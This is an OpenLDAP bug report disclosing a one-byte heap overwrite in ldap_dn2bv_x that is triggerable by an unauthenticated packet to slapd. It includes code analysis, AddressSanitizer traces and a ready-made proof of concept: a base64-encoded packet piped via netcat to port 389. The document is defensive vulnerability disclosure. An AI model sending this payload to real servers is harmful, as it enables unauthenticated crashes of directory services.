https://bugs.openldap.org/show_bug.cgi?id=10144

          Issue ID: 10144
           Summary: Buffer overwrite in ldap_dn2bv_x
           Product: OpenLDAP
           Version: 2.6.6
          Hardware: All
                OS: All
            Status: UNCONFIRMED
          Keywords: needs_review
          Severity: normal
          Priority: ---
         Component: libraries
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---

Created attachment 995
  --> https://bugs.openldap.org/attachment.cgi?id=995&action=edit
ldap.c

Hi there,

While performing a security audit of openldap, I've discovered a buffer
overwrite in the ldap_dn2bv_x function of libldap which can be triggered via an
unauthenticated packet to slapd.

The issue is specifically in this part oft he code:

3069                 /* 
3070                  * trim the last ',' (the allocated memory 
3071                  * is one byte longer than required)
3072                  */
3073                 bv->bv_len = len - 1;
3074                 bv->bv_val[ bv->bv_len ] = '\0';


'len' may be 0, therefore bv->bv_len becomes (unsigned long)-1 ==
18446744073709551615, causing a one-byte buffer overwrite in bv->bv_len.


It may be len when rdn2str returns 0:

3055                 for ( l = 0, iRDN = 0; dn[ iRDN ]; iRDN++ ) {
3056                         ber_len_t       rdnl;
3057                         
3058                         if ( rdn2str( dn[ iRDN ], &bv->bv_val[ l ], flags, 
3059                                         &rdnl, sv2s ) ) {
3060                                 LDAP_FREEX( bv->bv_val, ctx );
3061                                 bv->bv_val = NULL;
3062                                 goto return_results;
3063                         }
3064                         l += rdnl;
3065                 }

which it may do if

2571 static int
2572 rdn2str( LDAPRDN rdn, char *str, unsigned flags, ber_len_t *len,
2573         int ( *s2s ) ( struct berval *v, char * s, unsigned f, ber_len_t
*l ) )
2574 {
2575         int             iAVA;
2576         ber_len_t       l = 0;
2577
2578         for ( iAVA = 0; rdn[ iAVA ]; iAVA++ ) {
[...] 
2606         *len = l;
2607
2608         return( 0 );
2609 }

rdn[0] (i.e. dn[0][0]) is zero.

There is already a check in ldap_dn2bv_x to ensure that there is not a null
distinguished name, but no check for a null relative distinguished name:
3021         /* 
3022          * a null dn means an empty dn string 
3023          * FIXME: better raise an error?
3024          */
3025         if ( dn == NULL || dn[0] == NULL ) {
3026                 bv->bv_val = LDAP_STRDUPX( "", ctx );
3027                 return( LDAP_SUCCESS );
3028         }



This can be reproduced using the API and compiling with address sanitizer:
clang -g -O0 -fsanitize=address -o ldap ldap.c -I/usr/local/include
-L/usr/local/lib -Wl,-rpath=/usr/local/lib -lldap which crashes:

=================================================================
==2685861==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x602000004c0f at pc 0x7ffff7ecae9d bp 0x7fffffff7390 sp 0x7fffffff7388
WRITE of size 1 at 0x602000004c0f thread T0
    #0 0x7ffff7ecae9c in ldap_dn2bv_x
/home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28
    #1 0x7ffff7f30135 in ldap_X509dn2bv
/home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7
    #2 0x55555563000f in main /home/jrogers/ldap2.c:19:14
    #3 0x7ffff7b25d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId:
203de0ae33b53fee1578b117cb4123e85d0534f0)
    #4 0x7ffff7b25e3f in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId:
203de0ae33b53fee1578b117cb4123e85d0534f0)
    #5 0x555555572324 in _start (/home/jrogers/test+0x1e324) (BuildId:
5207fff637c8f2edc46784bf828dc09fddd34d85)

0x602000004c0f is located 1 bytes to the left of 1-byte region
[0x602000004c10,0x602000004c11)
allocated by thread T0 here:
    #0 0x5555555f516e in malloc (/home/jrogers/test+0xa116e) (BuildId:
5207fff637c8f2edc46784bf828dc09fddd34d85)
    #1 0x7ffff7ae8303 in ber_memalloc_x
/home/jrogers/openldap-clean/libraries/liblber/memory.c:228:9
    #2 0x7ffff7eca968 in ldap_dn2bv_x
/home/jrogers/openldap-clean/libraries/libldap/getdn.c:3050:23
    #3 0x7ffff7f30135 in ldap_X509dn2bv
/home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7
    #4 0x55555563000f in main /home/jrogers/ldap2.c:19:14
    #5 0x7ffff7b25d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId:
203de0ae33b53fee1578b117cb4123e85d0534f0)



Alternatively you can send the following to a running slapd server:


printf
"MIIB5AIEMDAwMEqCATBPPTAwMDAwMDAwMDAwMDAwMDDvvrLvvrLvvrLvvrLvvrLvvrLvp7LvvrLvtrLvvrLvvrLvvrLvvrLvvrLvvrLvvrIsCgoKMi41LjQuMzk9MGswMDAGMDAwMDAwMAYxATEwMTAYGDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4XDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAMDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA="
| base64 -d | nc localhost 389

which will exhibit the same behavior:

==1673381==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60200004c14f at pc 0x7ffff7ec0e9d bp 0x7fffb40c6e70 sp 0x7fffb40c6e68
WRITE of size 1 at 0x60200004c14f thread T2
[Detaching after fork from child process 3777333]
    #0 0x7ffff7ec0e9c in ldap_dn2bv_x
/home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28
    #1 0x7ffff7f26135 in ldap_X509dn2bv
/home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7
    #2 0x555555820765 in dnX509normalize (/usr/local/libexec/slapd+0x2cc765)
(BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #3 0x5555558e55a1  (/usr/local/libexec/slapd+0x3915a1) (BuildId:
08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #4 0x555555819d06  (/usr/local/libexec/slapd+0x2c5d06) (BuildId:
08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #5 0x5555558187b8  (/usr/local/libexec/slapd+0x2c47b8) (BuildId:
08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #6 0x55555581c6de in dnPrettyNormal (/usr/local/libexec/slapd+0x2c86de)
(BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #7 0x555555835c95 in do_delete (/usr/local/libexec/slapd+0x2e1c95)
(BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #8 0x5555557a8ef5  (/usr/local/libexec/slapd+0x254ef5) (BuildId:
08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #9 0x5555557a21f9  (/usr/local/libexec/slapd+0x24e1f9) (BuildId:
08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707)
    #10 0x7ffff7f592c4 in ldap_int_thread_pool_wrapper
/home/jrogers/openldap-clean/libraries/libldap/tpool.c:1059:3
    #11 0x7ffff785eac2  (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) (BuildId:
203de0ae33b53fee1578b117cb4123e85d0534f0)
    #12 0x7ffff78f065f  (/lib/x86_64-linux-gnu/libc.so.6+0x12665f) (BuildId:
203de0ae33b53fee1578b117cb4123e85d0534f0)

-- 
You are receiving this mail because:
You are on the CC list for the issue.

Reply via email to